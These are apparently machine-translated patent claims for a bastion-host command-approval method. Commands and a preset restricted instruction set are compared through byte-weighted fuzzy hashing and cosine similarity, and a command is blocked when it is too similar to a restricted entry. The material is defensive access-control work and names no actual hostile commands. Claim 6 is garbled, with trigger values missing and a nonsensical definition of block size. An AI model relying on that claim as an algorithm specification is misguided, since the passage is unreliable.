1. A method for approving instructions for a bastion host, characterized in that, include: Receive input commands from the bastion host; Obtain the first fuzzy hash calculation result of the input instruction, and obtain the second fuzzy hash calculation result of each restriction instruction in the preset restriction instruction set; Based on actual business operations, the bytes in the input instruction and the bytes in each restriction instruction are repeatedly processed to obtain the first instruction and the second instruction. The similarity between the fuzzy hash calculation results of the first instruction and the second instruction is calculated. The repeated operation is to repeatedly copy the bytes in the instruction according to the byte weight coefficient corresponding to the byte. The number of times the byte is repeated is positively correlated with the byte weight coefficient corresponding to the byte. If at least one of the second fuzzy hash calculation results has a target similarity greater than or equal to a preset threshold with respect to the first fuzzy hash calculation result, the input instruction is determined to have failed approval.

2. The method according to claim 1, characterized in that, The method further includes: Obtain the byte weight coefficient corresponding to the target service, wherein the input instruction is an operation instruction for the target service; Based on the byte weight coefficient, the bytes in the input instruction are repeatedly processed to obtain the first instruction; Based on the byte weight coefficient, the bytes of each restricted instruction in the preset restricted instruction set are repeatedly operated on to obtain the second instruction corresponding to each restricted instruction; The number of repetitions of the target byte is positively correlated with the byte weight coefficient corresponding to the target byte, and the input instruction or the restriction instruction in the preset restriction instruction set includes the target byte; The step of obtaining the first fuzzy hash calculation result of the input instruction and the second fuzzy hash calculation result of each restricted instruction in the preset restricted instruction set includes: Each target instruction is subjected to a fuzzy hash calculation to obtain the fuzzy hash calculation result corresponding to each target instruction, wherein the target instruction includes the first instruction and the second instruction.

3. The method according to claim 2, characterized in that, The process of obtaining the byte weight coefficient corresponding to the target service includes: Before the bastion host takes effect, obtain the instruction data of the target service; Based on the frequency of occurrence of each byte in the instruction data, the weight coefficient of each byte in the target service scenario is determined, wherein the weight coefficient of the target byte is positively correlated with the frequency of occurrence of the target byte in the instruction data.

4. The method according to claim 2 or 3, characterized in that, The step of performing fuzzy hash calculations on the target instructions to obtain the fuzzy hash calculation results corresponding to each target instruction includes: A text-based fragmented hash algorithm is used to perform fuzzy hash calculation on the target instructions to obtain the fuzzy hash calculation results corresponding to each target instruction. The block size in the text-based fragmented hash algorithm is related to the preset minimum block size, the preset window size of the text-based fragmented hash algorithm, and the number of bytes of the target instruction.

5. The method according to claim 4, characterized in that, The step of employing a text-based fragmented hash algorithm to perform fuzzy hash calculations on the target instructions, obtaining the fuzzy hash calculation results corresponding to each target instruction, includes: Based on the preset window size and block size of the text-based fragmented hash algorithm, a rolling hash calculation is performed on the bytes in the target instruction to obtain at least one first signature. When the result of the rolling hash calculation reaches a preset trigger value, the result of the rolling hash calculation is reset to zero, and the first signature is generated. The target signature is determined based on all the first signatures corresponding to the target instruction; Based on the block size in the text-based fragmented hash algorithm and the target signature, the fuzzy hash calculation result corresponding to the target instruction is determined.

6. The method according to claim 5, characterized in that, The step of performing rolling hash calculations on the bytes in the target instruction based on the preset window size and the block size in the text-based fragmented hash algorithm to obtain at least one first signature includes: The result of the rolling hash calculation The remainder equals In the case of zeroing out the rolling hash calculation result, a first sub-signature is generated according to the following formula: signature1+= Base64[LSB6 of rolling hash] The result of the rolling hash calculation The remainder equals In the case of zeroing out the rolling hash calculation result, a second sub-signature is generated according to the following formula: signature2+= Base64[LSB6 of rolling hash] Wherein, the first signature includes either the first sub-signature or the second sub-signature. The block size in the text-based fragmented hash algorithm is represented by: signature1, signature2, Base64, and LSB6.

7. The method according to any one of claims 1 to 6, characterized in that, The target similarity includes cosine similarity.

8. An instruction approval device for a bastion host, used to implement an instruction approval method for a bastion host as described in any one of claims 1 to 7, characterized in that, The device includes: The receiving module is used to receive input commands from the bastion host. The first acquisition module is used to acquire the first fuzzy hash calculation result of the input instruction, and to acquire the second fuzzy hash calculation result of each restriction instruction in the preset restriction instruction set; The first determining module is used to determine that the input instruction has not passed the approval process if there is at least one target similarity between the second fuzzy hash calculation result and the first fuzzy hash calculation result that is greater than or equal to a preset threshold.

9. An electronic device, characterized in that, It includes a processor, a memory, and a computer program stored in the memory and executable on the processor, wherein the computer program, when executed by the processor, implements the steps in the instruction approval method for a bastion host as claimed in any one of claims 1 to 7.

10. A computer-readable storage medium, characterized in that, The computer-readable storage medium stores a computer program that, when executed by a processor, implements the steps of the instruction approval method for a bastion host as described in any one of claims 1 to 7.

Images